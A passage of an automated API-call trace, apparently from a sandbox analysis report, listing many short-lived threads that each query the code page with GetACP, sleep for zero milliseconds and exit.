Sleep (dwMilliseconds=0x0) [0273.327] RtlExitUserThread (Status=0x0) Thread: id = 2891 os_tid = 0x153c [0273.277] GetACP () returned 0x4e4 [0273.277] GetACP () returned 0x4e4 [0273.277] Sleep (dwMilliseconds=0x0) [0273.328] RtlExitUserThread (Status=0x0) Thread: id = 2892 os_tid = 0x1540 [0273.277] GetACP () returned 0x4e4 [0273.277] GetACP () returned 0x4e4 [0273.277] Sleep (dwMilliseconds=0x0) [0273.329] RtlExitUserThread (Status=0x0) Thread: id = 2893 os_tid = 0x1544 [0273.278] GetACP () returned 0x4e4 [0273.278] GetACP () returned 0x4e4 [0273.278] Sleep (dwMilliseconds=0x0) [0273.329] RtlExitUserThread (Status=0x0) Thread: id = 2894 os_tid = 0x1548 [0273.278] GetACP () returned 0x4e4 [0273.278] GetACP () returned 0x4e4 [0273.278] Sleep (dwMilliseconds=0x0) [0273.330] RtlExitUserThread (Status=0x0) Thread: id = 2895 os_tid = 0x154c [0273.279] GetACP () returned 0x4e4 [0273.279] GetACP () returned 0x4e4 [0273.279] Sleep (dwMilliseconds=0x0) [0273.331] RtlExitUserThread (Status=0x0) Thread: id = 2896 os_tid = 0x1550 [0273.279] GetACP () returned 0x4e4 [0273.279] GetACP () returned 0x4e4 [0273.279] Sleep (dwMilliseconds=0x0) [0273.332] RtlExitUserThread (Status=0x0) Thread: id = 2897 os_tid = 0x1554 [0273.280] GetACP () returned 0x4e4 [0273.280] GetACP () returned 0x4e4 [0273.280] Sleep (dwMilliseconds=0x0) [0273.332] RtlExitUserThread (Status=0x0) Thread: id = 2898 os_tid = 0x1558 [0273.280] GetACP () returned 0x4e4 [0273.280] GetACP () returned 0x4e4 [0273.280] Sleep (dwMilliseconds=0x0) [0273.333] RtlExitUserThread (Status=0x0) Thread: id = 2899 os_tid = 0x155c [0273.281] GetACP () returned 0x4e4 [0273.281] GetACP () returned 0x4e4 [0273.281] Sleep (dwMilliseconds=0x0) [0273.333] RtlExitUserThread (Status=0x0) Thread: id = 2900 os_tid = 0x15b0 [0273.281] GetACP () returned 0x4e4 [0273.281] GetACP () returned 0x4e4 [0273.281] Sleep (dwMilliseconds=0x0) [0273.334] RtlExitUserThread (Status=0x0) Thread: id = 2901 os_tid = 0x15b4 [0273.282] GetACP () returned 0x4e4 [0273.282] GetACP () returned 0x4e4 [0273.282] Sleep (dwMilliseconds=0x0) [0273.334] RtlExitUserThread (Status=0x0) Thread: id = 2902 os_tid = 0x15b8 [0273.282] GetACP () returned 0x4e4 [0273.282] GetACP () returned 0x4e4 [0273.282] Sleep (dwMilliseconds=0x0) [0273.335] RtlExitUserThread (Status=0x0) Thread: id = 2903 os_tid = 0x15bc [0273.283] GetACP () returned 0x4e4 [0273.283] GetACP () returned 0x4e4 [0273.283] Sleep (dwMilliseconds=0x0) [0273.335] RtlExitUserThread (Status=0x0) Thread: id = 2904 os_tid = 0x15c0 [0273.283] GetACP () returned 0x4e4 [0273.283] GetACP () returned 0x4e4 [0273.283] Sleep (dwMilliseconds=0x0) [0273.336] RtlExitUserThread (Status=0x0) Thread: id = 2905 os_tid = 0x15c4 [0273.284] GetACP () returned 0x4e4 [0273.284] GetACP () returned 0x4e4 [0273.284] Sleep (dwMilliseconds=0x0) [0273.337] RtlExitUserThread (Status=0x0) Thread: id = 2906 os_tid = 0x15c8 [0273.284] GetACP () returned 0x4e4 [0273.284] GetACP () returned 0x4e4 [0273.284] Sleep (dwMilliseconds=0x0) [0273.337] RtlExitUserThread (Status=0x0) Thread: id = 2907 os_tid = 0x15cc [0273.340] GetACP () returned 0x4e4 [0273.340] GetACP () returned 0x4e4 [0273.340] Sleep (dwMilliseconds=0x0) [0273.441] RtlExitUserThread (Status=0x0) Thread: id = 2908 os_tid = 0x15d0 [0273.341] GetACP () returned 0x4e4 [0273.341] GetACP () returned 0x4e4 [0273.341] Sleep (dwMilliseconds=0x0) [0273.442] RtlExitUserThread (Status=0x0) Thread: id = 2909 os_tid = 0x15d4 [0273.342] GetACP () returned 0x4e4 [0273.342] GetACP () returned 0x4e4 [0273.342] Sleep (dwMilliseconds=0x0) [0273.443] RtlExitUserThread (Status=0x0) Thread: id = 2910 os_tid = 0x15d8 [0273.342] GetACP () returned 0x4e4 [0273.342] GetACP () returned 0x4e4 [0273.342] Sleep (dwMilliseconds=0x0) [0273.443] RtlExitUserThread (Status=0x0) Thread: id = 2911 os_tid = 0x15dc [0273.343] GetACP () returned 0x4e4 [0273.343] GetACP () returned 0x4e4 [0273.343] Sleep (dwMilliseconds=0x0) [0273.444] RtlExitUserThread (Status=0x0) Thread: id = 2912 os_tid = 0x15e0 [0273.344] GetACP () returned 0x4e4 [0273.344] GetACP () returned 0x4e4 [0273.344] Sleep (dwMilliseconds=0x0) [0273.445] RtlExitUserThread (Status=0x0) Thread: id = 2913 os_tid = 0x15e4 [0273.344] GetACP () returned 0x4e4 [0273.344] GetACP () returned 0x4e4 [0273.344] Sleep (dwMilliseconds=0x0) [0273.446] RtlExitUserThread (Status=0x0) Thread: id = 2914 os_tid = 0x15e8 [0273.345] GetACP () returned 0x4e4 [0273.345] GetACP () returned 0x4e4 [0273.345] Sleep (dwMilliseconds=0x0) [0273.447] RtlExitUserThread (Status=0x0) Thread: id = 2915 os_tid = 0x15ec [0273.346] GetACP () returned 0x4e4 [0273.346] GetACP () returned 0x4e4 [0273.346] Sleep (dwMilliseconds=0x0) [0273.447] RtlExitUserThread (Status=0x0) Thread: id = 2916 os_tid = 0x15f0 [0273.346] GetACP () returned 0x4e4 [0273.346] GetACP () returned 0x4e4 [0273.346] Sleep (dwMilliseconds=0x0) [0273.448] RtlExitUserThread (Status=0x0) Thread: id = 2917 os_tid = 0x15f4 [0273.347] GetACP () returned 0x4e4 [0273.347] GetACP () returned 0x4e4 [0273.347] Sleep (dwMilliseconds=0x0) [0273.449] RtlExitUserThread (Status=0x0) Thread: id = 2918 os_tid = 0x15f8 [0273.347] GetACP () returned 0x4e4 [0273.347] GetACP () returned 0x4e4 [0273.348] Sleep (dwMilliseconds=0x0) [0273.450] RtlExitUserThread (Status=0x0) Thread: id = 2919 os_tid = 0x15fc [0273.348] GetACP () returned 0x4e4 [0273.348] GetACP () returned 0x4e4 [0273.348] Sleep (dwMilliseconds=0x0) [0273.450] RtlExitUserThread (Status=0x0) Thread: id = 2920 os_tid = 0x1650 [0273.350] GetACP () returned 0x4e4 [0273.350] GetACP () returned 0x4e4 [0273.350] Sleep (dwMilliseconds=0x0) [0273.451] RtlExitUserThread (Status=0x0) Thread: id = 2921 os_tid = 0x1654 [0273.351] GetACP () returned 0x4e4 [0273.351] GetACP () returned 0x4e4 [0273.351] Sleep (dwMilliseconds=0x0) [0273.452] RtlExitUserThread (Status=0x0) Thread: id = 2922 os_tid = 0x1658 [0273.351] GetACP () returned 0x4e4 [0273.351] GetACP () returned 0x4e4 [0273.351] Sleep (dwMilliseconds=0x0) [0273.453] RtlExitUserThread (Status=0x0) Thread: id = 2923 os_tid = 0x165c [0273.391] GetACP () returned 0x4e4 [0273.391] GetACP () returned 0x4e4 [0273.391] Sleep (dwMilliseconds=0x0) [0273.472] RtlExitUserThread (Status=0x0) Thread: id = 2924 os_tid = 0x1660 [0273.393] GetACP () returned 0x4e4 [0273.393] GetACP () returned 0x4e4 [0273.393] Sleep (dwMilliseconds=0x0) [0273.473] RtlExitUserThread (Status=0x0) Thread: id = 2925 os_tid = 0x1664 [0273.393] GetACP () returned 0x4e4 [0273.393] GetACP () returned 0x4e4 [0273.393] Sleep (dwMilliseconds=0x0) [0273.474] RtlExitUserThread (Status=0x0) Thread: id = 2926 os_tid = 0x1668 [0273.394] GetACP () returned 0x4e4 [0273.394] GetACP () returned 0x4e4 [0273.394] Sleep (dwMilliseconds=0x0) [0273.475] RtlExitUserThread (Status=0x0) Thread: id = 2927 os_tid = 0x166c [0273.476] GetACP () returned 0x4e4 [0273.476] GetACP () returned 0x4e4 [0273.476] Sleep (dwMilliseconds=0x0) [0273.570] RtlExitUserThread (Status=0x0) Thread: id = 2928 os_tid = 0x1670 [0273.477] GetACP () returned 0x4e4 [0273.477] GetACP () returned 0x4e4 [0273.477] Sleep (dwMilliseconds=0x0) [0273.571] RtlExitUserThread (Status=0x0) Thread: id = 2929 os_tid = 0x1674 [0273.478] GetACP () returned 0x4e4 [0273.478] GetACP () returned 0x4e4 [0273.478] Sleep (dwMilliseconds=0x0) [0273.571] RtlExitUserThread (Status=0x0) Thread: id = 2930 os_tid = 0x1678 [0273.479] GetACP () returned 0x4e4 [0273.479] GetACP () returned 0x4e4 [0273.479] Sleep (dwMilliseconds=0x0) [0273.572] RtlExitUserThread (Status=0x0) Thread: id = 2931 os_tid = 0x167c [0273.479] GetACP () returned 0x4e4 [0273.479] GetACP () returned 0x4e4 [0273.479] Sleep (dwMilliseconds=0x0) [0273.572] RtlExitUserThread (Status=0x0) Thread: id = 2932 os_tid = 0x1680 [0273.480] GetACP () returned 0x4e4 [0273.480] GetACP () returned 0x4e4 [0273.480] Sleep (dwMilliseconds=0x0) [0273.573] RtlExitUserThread (Status=0x0) Thread: id = 2933 os_tid = 0x1684 [0273.481] GetACP () returned 0x4e4 [0273.481] GetACP () returned 0x4e4 [0273.481] Sleep (dwMilliseconds=0x0) [0273.573] RtlExitUserThread (Status=0x0) Thread: id = 2934 os_tid = 0x1688 [0273.481] GetACP () returned 0x4e4 [0273.481] GetACP () returned 0x4e4 [0273.481] Sleep (dwMilliseconds=0x0) [0273.574] RtlExitUserThread (Status=0x0) Thread: id = 2935 os_tid = 0x168c [0273.482] GetACP () returned 0x4e4 [0273.482] GetACP () returned 0x4e4 [0273.482] Sleep (dwMilliseconds=0x0) [0273.575] RtlExitUserThread (Status=0x0) Thread: id = 2936 os_tid = 0x1690 [0273.483] GetACP () returned 0x4e4 [0273.483] GetACP () returned 0x4e4 [0273.483] Sleep (dwMilliseconds=0x0) [0273.575] RtlExitUserThread (Status=0x0) Thread: id = 2937 os_tid = 0x1694 [0273.483] GetACP () returned 0x4e4 [0273.483] GetACP () returned 0x4e4 [0273.483] Sleep (dwMilliseconds=0x0) [0273.576] RtlExitUserThread (Status=0x0) Thread: id = 2938 os_tid = 0x1698 [0273.484] GetACP () returned 0x4e4 [0273.484] GetACP () returned 0x4e4 [0273.484] Sleep (dwMilliseconds=0x0) [0273.576] RtlExitUserThread (Status=0x0) Thread: id = 2939 os_tid = 0x169c [0273.485] GetACP () returned 0x4e4 [0273.485] GetACP () returned 0x4e4 [0273.485] Sleep (dwMilliseconds=0x0) [0273.577] RtlExitUserThread (Status=0x0) Thread: id = 2940 os_tid = 0x16f4 [0273.485] GetACP () returned 0x4e4 [0273.485] GetACP () returned 0x4e4 [0273.485] Sleep (dwMilliseconds=0x0) [0273.577] RtlExitUserThread (Status=0x0) Thread: id = 2941 os_tid = 0x16f8 [0273.486] GetACP () returned 0x4e4 [0273.486] GetACP () returned 0x4e4 [0273.486] Sleep (dwMilliseconds=0x0) [0273.578] RtlExitUserThread (Status=0x0) Thread: id = 2942 os_tid = 0x16fc [0273.487] GetACP () returned 0x4e4 [0273.487] GetACP () returned 0x4e4 [0273.487] Sleep (dwMilliseconds=0x0) [0273.579] RtlExitUserThread (Status=0x0) Thread: id = 2943 os_tid = 0x1700 [0273.487] GetACP () returned 0x4e4 [0273.487] GetACP () returned 0x4e4 [0273.487] Sleep (dwMilliseconds=0x0) [0273.579] RtlExitUserThread (Status=0x0) Thread: id = 2944 os_tid = 0x1704 [0273.488] GetACP () returned 0x4e4 [0273.488] GetACP () returned 0x4e4 [0273.488] Sleep (dwMilliseconds=0x0) [0273.580] RtlExitUserThread (Status=0x0) Thread: id = 2945 os_tid = 0x1708 [0273.489] GetACP () returned 0x4e4 [0273.489] GetACP () returned 0x4e4 [0273.489] Sleep (dwMilliseconds=0x0) [0273.581] RtlExitUserThread (Status=0x0) Thread: id = 2946 os_tid = 0x170c [0273.489] GetACP () returned 0x4e4 [0273.489] GetACP () returned 0x4e4 [0273.489] Sleep (dwMilliseconds=0x0) [0273.581] RtlExitUserThread (Status=0x0) Thread: id = 2947 os_tid = 0x1710 [0273.582] GetACP () returned 0x4e4 [0273.582] GetACP () returned 0x4e4 [0273.582] Sleep (dwMilliseconds=0x0) [0273.720] RtlExitUserThread (Status=0x0) Thread: id = 2948 os_tid = 0x1714 [0273.583] GetACP () returned 0x4e4 [0273.583] GetACP () returned 0x4e4 [0273.583] Sleep (dwMilliseconds=0x0) [0273.723] RtlExitUserThread (Status=0x0) Thread: id = 2949 os_tid = 0x1718 [0273.583] GetACP () returned 0x4e4 [0273.583] GetACP () returned 0x4e4 [0273.583] Sleep (dwMilliseconds=0x0) [0273.724] RtlExitUserThread (Status=0x0) Thread: id = 2950 os_tid = 0x171c [0273.584] GetACP () returned 0x4e4 [0273.584] GetACP () returned 0x4e4 [0273.584] Sleep (dwMilliseconds=0x0) [0273.725] RtlExitUserThread (Status=0x0) Thread: id = 2951 os_tid = 0x1720 [0273.584] GetACP () returned 0x4e4 [0273.584] GetACP () returned 0x4e4 [0273.584] Sleep (dwMilliseconds=0x0) [0273.725] RtlExitUserThread (Status=0x0) Thread: id = 2952 os_tid = 0x1724 [0273.584] GetACP () returned 0x4e4 [0273.585] GetACP () returned 0x4e4 [0273.585] Sleep (dwMilliseconds=0x0) [0273.726] RtlExitUserThread (Status=0x0) Thread: id = 2953 os_tid = 0x1728 [0273.585] GetACP () returned 0x4e4 [0273.585] GetACP () returned 0x4e4 [0273.585] Sleep (dwMilliseconds=0x0) [0273.726] RtlExitUserThread (Status=0x0) Thread: id = 2954 os_tid = 0x172c [0273.586] GetACP () returned 0x4e4 [0273.586] GetACP () returned 0x4e4 [0273.586] Sleep (dwMilliseconds=0x0) [0273.727] RtlExitUserThread (Status=0x0) Thread: id = 2955 os_tid = 0x1730 [0273.586] GetACP () returned 0x4e4 [0273.586] GetACP () returned 0x4e4 [0273.586] Sleep (dwMilliseconds=0x0) [0273.728] RtlExitUserThread (Status=0x0) Thread: id = 2956 os_tid = 0x1734 [0273.587] GetACP () returned 0x4e4 [0273.587] GetACP () returned 0x4e4 [0273.587] Sleep (dwMilliseconds=0x0) [0273.728] RtlExitUserThread (Status=0x0) Thread: id = 2957 os_tid = 0x1738 [0273.587] GetACP () returned 0x4e4 [0273.587] GetACP () returned 0x4e4 [0273.587] Sleep (dwMilliseconds=0x0) [0273.729] RtlExitUserThread (Status=0x0) Thread: id = 2958 os_tid = 0x173c [0273.588] GetACP () returned 0x4e4 [0273.588] GetACP () returned 0x4e4 [0273.588] Sleep (dwMilliseconds=0x0) [0273.729] RtlExitUserThread (Status=0x0) Thread: id = 2959 os_tid = 0x1740 [0273.588] GetACP () returned 0x4e4 [0273.588] GetACP () returned 0x4e4 [0273.588] Sleep (dwMilliseconds=0x0) [0273.730] RtlExitUserThread (Status=0x0) Thread: id = 2960 os_tid = 0x1794 [0273.589] GetACP () returned 0x4e4 [0273.589] GetACP () returned 0x4e4 [0273.589] Sleep (dwMilliseconds=0x0) [0273.730] RtlExitUserThread (Status=0x0) Thread: id = 2961 os_tid = 0x1798 [0273.589] GetACP () returned 0x4e4 [0273.589] GetACP () returned 0x4e4 [0273.589] Sleep (dwMilliseconds=0x0) [0273.731] RtlExitUserThread (Status=0x0) Thread: id = 2962 os_tid = 0x179c [0273.589] GetACP () returned 0x4e4 [0273.589] GetACP () returned 0x4e4 [0273.589] Sleep (dwMilliseconds=0x0) [0273.732] RtlExitUserThread (Status=0x0) Thread: id = 2963 os_tid = 0x17a0 [0273.590] GetACP () returned 0x4e4 [0273.590] GetACP () returned 0x4e4 [0273.590] Sleep (dwMilliseconds=0x0) [0273.732] RtlExitUserThread (Status=0x0) Thread: id = 2964 os_tid = 0x17a4 [0273.590] GetACP () returned 0x4e4 [0273.590] GetACP () returned 0x4e4 [0273.590] Sleep (dwMilliseconds=0x0) [0273.733] RtlExitUserThread (Status=0x0) Thread: id = 2965 os_tid = 0x17a8 [0273.591] GetACP () returned 0x4e4 [0273.591] GetACP () returned 0x4e4 [0273.591] Sleep (dwMilliseconds=0x0) [0273.733] RtlExitUserThread (Status=0x0) Thread: id = 2966 os_tid = 0x17ac [0273.591] GetACP () returned 0x4e4 [0273.591] GetACP () returned 0x4e4 [0273.591] Sleep (dwMilliseconds=0x0) [0273.734] RtlExitUserThread (Status=0x0) Thread: id = 2967 os_tid = 0x17b0 [0273.735] GetACP () returned 0x4e4 [0273.735] GetACP () returned 0x4e4 [0273.735] Sleep (dwMilliseconds=0x0) [0273.898] RtlExitUserThread (Status=0x0) Thread: id = 2968 os_tid = 0x17b4 [0273.763] GetACP () returned 0x4e4 [0273.763] GetACP () returned 0x4e4 [0273.763] Sleep (dwMilliseconds=0x0) [0273.922] RtlExitUserThread (Status=0x0) Thread: id = 2969 os_tid = 0x17b8 [0273.763] GetACP () returned 0x4e4 [0273.763] GetACP () returned 0x4e4 [0273.763] Sleep (dwMilliseconds=0x0) [0273.923] RtlExitUserThread (Status=0x0) Thread: id = 2970 os_tid = 0x17bc [0273.764] GetACP () returned 0x4e4 [0273.764] GetACP () returned 0x4e4 [0273.764] Sleep (dwMilliseconds=0x0) [0273.925] RtlExitUserThread (Status=0x0) Thread: id = 2971 os_tid = 0x17c0 [0273.764] GetACP () returned 0x4e4 [0273.764] GetACP () returned 0x4e4 [0273.764] Sleep (dwMilliseconds=0x0) [0273.926] RtlExitUserThread (Status=0x0) Thread: id = 2972 os_tid = 0x17c4 [0273.765] GetACP () returned 0x4e4 [0273.765] GetACP () returned 0x4e4 [0273.765] Sleep (dwMilliseconds=0x0) [0273.927] RtlExitUserThread (Status=0x0) Thread: id = 2973 os_tid = 0x17c8 [0273.765] GetACP () returned 0x4e4 [0273.765] GetACP () returned 0x4e4 [0273.765] Sleep (dwMilliseconds=0x0) [0273.928] RtlExitUserThread (Status=0x0) Thread: id = 2974 os_tid = 0x17cc [0273.766] GetACP () returned 0x4e4 [0273.766] GetACP () returned 0x4e4 [0273.766] Sleep (dwMilliseconds=0x0) [0273.928] RtlExitUserThread (Status=0x0) Thread: id = 2975 os_tid = 0x17d0 [0273.766] GetACP () returned 0x4e4 [0273.766] GetACP () returned 0x4e4 [0273.766] Sleep (dwMilliseconds=0x0) [0273.929] RtlExitUserThread (Status=0x0) Thread: id = 2976 os_tid = 0x17d4 [0273.767] GetACP () returned 0x4e4 [0273.767] GetACP () returned 0x4e4 [0273.767] Sleep (dwMilliseconds=0x0) [0273.930] RtlExitUserThread (Status=0x0) Thread: id = 2977 os_tid = 0x17d8 [0273.767] GetACP () returned 0x4e4 [0273.767] GetACP () returned 0x4e4 [0273.767] Sleep (dwMilliseconds=0x0) [0273.931] RtlExitUserThread (Status=0x0) Thread: id = 2978 os_tid = 0x17dc [0273.768] GetACP () returned 0x4e4 [0273.768] GetACP () returned 0x4e4 [0273.768] Sleep (dwMilliseconds=0x0) [0273.932] RtlExitUserThread (Status=0x0) Thread: id = 2979 os_tid = 0x17e0 [0273.768] GetACP () returned 0x4e4 [0273.768] GetACP () returned 0x4e4 [0273.768] Sleep (dwMilliseconds=0x0) [0273.932] RtlExitUserThread (Status=0x0) Thread: id = 2980 os_tid = 0x1818 [0273.769] GetACP () returned 0x4e4 [0273.769] GetACP () returned 0x4e4 [0273.769] Sleep (dwMilliseconds=0x0) [0273.933] RtlExitUserThread (Status=0x0) Thread: id = 2981 os_tid = 0x181c [0273.769] GetACP () returned 0x4e4 [0273.769] GetACP () returned 0x4e4 [0273.769] Sleep (dwMilliseconds=0x0) [0273.934] RtlExitUserThread (Status=0x0) Thread: id = 2982 os_tid = 0x1820 [0273.770] GetACP () returned 0x4e4 [0273.770] GetACP () returned 0x4e4 [0273.770] Sleep (dwMilliseconds=0x0) [0273.934] RtlExitUserThread (Status=0x0) Thread: id = 2983 os_tid = 0x1824 [0273.770] GetACP () returned 0x4e4 [0273.770] GetACP () returned 0x4e4 [0273.770] Sleep (dwMilliseconds=0x0) [0273.935] RtlExitUserThread (Status=0x0) Thread: id = 2984 os_tid = 0x1828 [0273.771] GetACP () returned 0x4e4 [0273.771] GetACP () returned 0x4e4 [0273.771] Sleep (dwMilliseconds=0x0) [0273.935] RtlExitUserThread (Status=0x0) Thread: id = 2985 os_tid = 0x182c [0273.771] GetACP () returned 0x4e4 [0273.771] GetACP () returned 0x4e4 [0273.771] Sleep (dwMilliseconds=0x0) [0273.936] RtlExitUserThread (Status=0x0) Thread: id = 2986 os_tid = 0x1830 [0273.772] GetACP () returned 0x4e4 [0273.772] GetACP () returned 0x4e4 [0273.772] Sleep (dwMilliseconds=0x0) [0273.936] RtlExitUserThread (Status=0x0) Thread: id = 2987 os_tid = 0x1834 [0273.938] GetACP () returned 0x4e4 [0273.938] GetACP () returned 0x4e4 [0273.938] Sleep (dwMilliseconds=0x0) [0274.284] RtlExitUserThread (Status=0x0) Thread: id = 2988 os_tid = 0x1838 [0273.938] GetACP () returned 0x4e4 [0273.938] GetACP () returned 0x4e4 [0273.938] Sleep (dwMilliseconds=0x0) [0274.285] RtlExitUserThread (Status=0x0) Thread: id = 2989 os_tid = 0x183c [0273.939] GetACP () returned 0x4e4 [0273.939] GetACP () returned 0x4e4 [0273.939] Sleep (dwMilliseconds=0x0) [0274.286] RtlExitUserThread (Status=0x0) Thread: id = 2990 os_tid = 0x1840 [0273.942] GetACP () returned 0x4e4 [0273.942] GetACP () returned 0x4e4 [0273.942] Sleep (dwMilliseconds=0x0) [0274.286] RtlExitUserThread (Status=0x0) Thread: id = 2991 os_tid = 0x1844 [0273.942] GetACP () returned 0x4e4 [0273.942] GetACP () returned 0x4e4 [0273.942] Sleep (dwMilliseconds=0x0) [0274.287] RtlExitUserThread (Status=0x0) Thread: id = 2992 os_tid = 0x1848 [0273.943] GetACP () returned 0x4e4 [0273.943] GetACP () returned 0x4e4 [0273.943] Sleep (dwMilliseconds=0x0) [0274.288] RtlExitUserThread (Status=0x0) Thread: id = 2993 os_tid = 0x184c [0273.944] GetACP () returned 0x4e4 [0273.944] GetACP () returned 0x4e4 [0273.944] Sleep (dwMilliseconds=0x0) [0274.289] RtlExitUserThread (Status=0x0) Thread: id = 2994 os_tid = 0x1850 [0273.944] GetACP () returned 0x4e4 [0273.944] GetACP () returned 0x4e4 [0273.944] Sleep (dwMilliseconds=0x0) [0274.289] RtlExitUserThread (Status=0x0) Thread: id = 2995 os_tid = 0x1854 [0273.945] GetACP () returned 0x4e4 [0273.945] GetACP () returned 0x4e4 [0273.945] Sleep (dwMilliseconds=0x0) [0274.290] RtlExitUserThread (Status=0x0) Thread: id = 2996 os_tid = 0x1858 [0273.946] GetACP () returned 0x4e4 [0273.946] GetACP () returned 0x4e4 [0273.946] Sleep (dwMilliseconds=0x0) [0274.291] RtlExitUserThread (Status=0x0) Thread: id = 2997 os_tid = 0x185c [0273.946] GetACP () returned 0x4e4 [0273.947] GetACP () returned 0x4e4 [0273.947] Sleep (dwMilliseconds=0x0) [0274.291] RtlExitUserThread (Status=0x0) Thread: id = 2998 os_tid = 0x1860 [0273.947] GetACP () returned 0x4e4 [0273.947] GetACP () returned 0x4e4 [0273.947] Sleep (dwMilliseconds=0x0) [0274.292] RtlExitUserThread (Status=0x0) Thread: id = 2999 os_tid = 0x1864 [0273.948] GetACP () returned 0x4e4 [0273.948] GetACP () returned 0x4e4 [0273.948] Sleep (dwMilliseconds=0x0) [0274.293] RtlExitUserThread (Status=0x0) Thread: id = 3000 os_tid = 0x18b8 [0273.949] GetACP () returned 0x4e4 [0273.949] GetACP () returned 0x4e4 [0273.949] Sleep (dwMilliseconds=0x0) [0274.294] RtlExitUserThread (Status=0x0) Thread: id = 3001 os_tid = 0x18bc [0273.949] GetACP () returned 0x4e4 [0273.949] GetACP () returned 0x4e4 [0273.949] Sleep (dwMilliseconds=0x0) [0274.294] RtlExitUserThread (Status=0x0) Thread: id = 3002 os_tid = 0x18c0 [0273.950] GetACP () returned 0x4e4 [0273.950] GetACP () returned 0x4e4 [0273.950] Sleep (dwMilliseconds=0x0) [0274.295] RtlExitUserThread (Status=0x0) Thread: id = 3003 os_tid = 0x18c4 [0273.951] GetACP () returned 0x4e4 [0273.951] GetACP () returned 0x4e4 [0273.951] Sleep (dwMilliseconds=0x0) [0274.296] RtlExitUserThread (Status=0x0) Thread: id = 3004 os_tid = 0x18c8 [0273.966] GetACP () returned 0x4e4 [0273.966] GetACP () returned 0x4e4 [0273.966] Sleep (dwMilliseconds=0x0) [0274.297] RtlExitUserThread (Status=0x0) Thread: id = 3005 os_tid = 0x18cc [0273.967] GetACP () returned 0x4e4 [0273.967] GetACP () returned 0x4e4 [0273.967] Sleep (dwMilliseconds=0x0) [0274.298] RtlExitUserThread (Status=0x0) Thread: id = 3006 os_tid = 0x18d0 [0273.968] GetACP () returned 0x4e4 [0273.968] GetACP () returned 0x4e4 [0273.968] Sleep (dwMilliseconds=0x0) [0274.299] RtlExitUserThread (Status=0x0) Thread: id = 3007 os_tid = 0x18e0 [0274.301] GetACP () returned 0x4e4 [0274.301] GetACP () returned 0x4e4 [0274.301] Sleep (dwMilliseconds=0x0) [0274.664] RtlExitUserThread (Status=0x0) Thread: id = 3008 os_tid = 0x18e4 [0274.302] GetACP () returned 0x4e4 [0274.302] GetACP () returned 0x4e4 [0274.302] Sleep (dwMilliseconds=0x0) [0274.665] RtlExitUserThread (Status=0x0) Thread: id = 3009 os_tid = 0x18e8 [0274.302] GetACP () returned 0x4e4 [0274.302] GetACP () returned 0x4e4 [0274.302] Sleep (dwMilliseconds=0x0) [0274.665] RtlExitUserThread (Status=0x0) Thread: id = 3010 os_tid = 0x18ec [0274.303] GetACP () returned 0x4e4 [0274.303] GetACP () returned 0x4e4 [0274.303] Sleep (dwMilliseconds=0x0) [0274.666] RtlExitUserThread (Status=0x0) Thread: id = 3011 os_tid = 0x18f0 [0274.304] GetACP () returned 0x4e4 [0274.305] GetACP () returned 0x4e4 [0274.305] Sleep (dwMilliseconds=0x0) [0274.680] RtlExitUserThread (Status=0x0) Thread: id = 3012 os_tid = 0x18f8 [0274.305] GetACP () returned 0x4e4 [0274.305] GetACP () returned 0x4e4 [0274.305] Sleep (dwMilliseconds=0x0) [0274.681] RtlExitUserThread (Status=0x0) Thread: id = 3013 os_tid = 0x18fc [0274.306] GetACP () returned 0x4e4 [0274.306] GetACP () returned 0x4e4 [0274.306] Sleep (dwMilliseconds=0x0) [0274.682] RtlExitUserThread (Status=0x0) Thread: id = 3014 os_tid = 0x1900 [0274.307] GetACP () returned 0x4e4 [0274.307] GetACP () returned 0x4e4 [0274.307] Sleep (dwMilliseconds=0x0) [0274.682] RtlExitUserThread (Status=0x0) Thread: id = 3015 os_tid = 0x1904 [0274.307] GetACP () returned 0x4e4 [0274.307] GetACP () returned 0x4e4 [0274.307] Sleep (dwMilliseconds=0x0) [0274.683] RtlExitUserThread (Status=0x0) Thread: id = 3016 os_tid = 0x1908 [0274.308] GetACP () returned 0x4e4 [0274.308] GetACP () returned 0x4e4 [0274.308] Sleep (dwMilliseconds=0x0) [0274.684] RtlExitUserThread (Status=0x0) Thread: id = 3017 os_tid = 0x190c [0274.309] GetACP () returned 0x4e4 [0274.309] GetACP () returned 0x4e4 [0274.309] Sleep (dwMilliseconds=0x0) [0274.684] RtlExitUserThread (Status=0x0) Thread: id = 3018 os_tid = 0x1910 [0274.309] GetACP () returned 0x4e4 [0274.309] GetACP () returned 0x4e4 [0274.309] Sleep (dwMilliseconds=0x0) [0274.685] RtlExitUserThread (Status=0x0) Thread: id = 3019 os_tid = 0x1914 [0274.310] GetACP () returned 0x4e4 [0274.310] GetACP () returned 0x4e4 [0274.310] Sleep (dwMilliseconds=0x0) [0274.686] RtlExitUserThread (Status=0x0) Thread: id = 3020 os_tid = 0x1918 [0274.310] GetACP () returned 0x4e4 [0274.310] GetACP () returned 0x4e4 [0274.310] Sleep (dwMilliseconds=0x0) [0274.687] RtlExitUserThread (Status=0x0) Thread: id = 3021 os_tid = 0x191c [0274.311] GetACP () returned 0x4e4 [0274.311] GetACP () returned 0x4e4 [0274.311] Sleep (dwMilliseconds=0x0) [0274.687] RtlExitUserThread (Status=0x0) Thread: id = 3022 os_tid = 0x1920 [0274.311] GetACP () returned 0x4e4 [0274.311] GetACP () returned 0x4e4 [0274.311] Sleep (dwMilliseconds=0x0) [0274.688] RtlExitUserThread (Status=0x0) Thread: id = 3023 os_tid = 0x1924 [0274.312] GetACP () returned 0x4e4 [0274.312] GetACP () returned 0x4e4 [0274.312] Sleep (dwMilliseconds=0x0) [0274.689] RtlExitUserThread (Status=0x0) Thread: id = 3024 os_tid = 0x1928 [0274.312] GetACP () returned 0x4e4 [0274.312] GetACP () returned 0x4e4 [0274.312] Sleep (dwMilliseconds=0x0) [0274.690] RtlExitUserThread (Status=0x0) Thread: id = 3025 os_tid = 0x192c [0274.313] GetACP () returned 0x4e4 [0274.313] GetACP () returned 0x4e4 [0274.313] Sleep (dwMilliseconds=0x0) [0274.691] RtlExitUserThread (Status=0x0) Thread: id = 3026 os_tid = 0x1930 [0274.313] GetACP () returned 0x4e4 [0274.313] GetACP () returned 0x4e4 [0274.313] Sleep (dwMilliseconds=0x0) [0274.692] RtlExitUserThread (Status=0x0) Thread: id = 3027 os_tid = 0x1938 [0277.317] GetACP () returned 0x4e4 [0277.317] GetACP () returned 0x4e4 [0277.317] Sleep (dwMilliseconds=0x0) [0277.371] RtlExitUserThread (Status=0x0) Thread: id = 3028 os_tid = 0x193c [0277.318] GetACP () returned 0x4e4 [0277.318] GetACP () returned 0x4e4 [0277.318] Sleep (dwMilliseconds=0x0) [0277.372] RtlExitUserThread (Status=0x0) Thread: id = 3029 os_tid = 0x1940 [0277.318] GetACP () returned 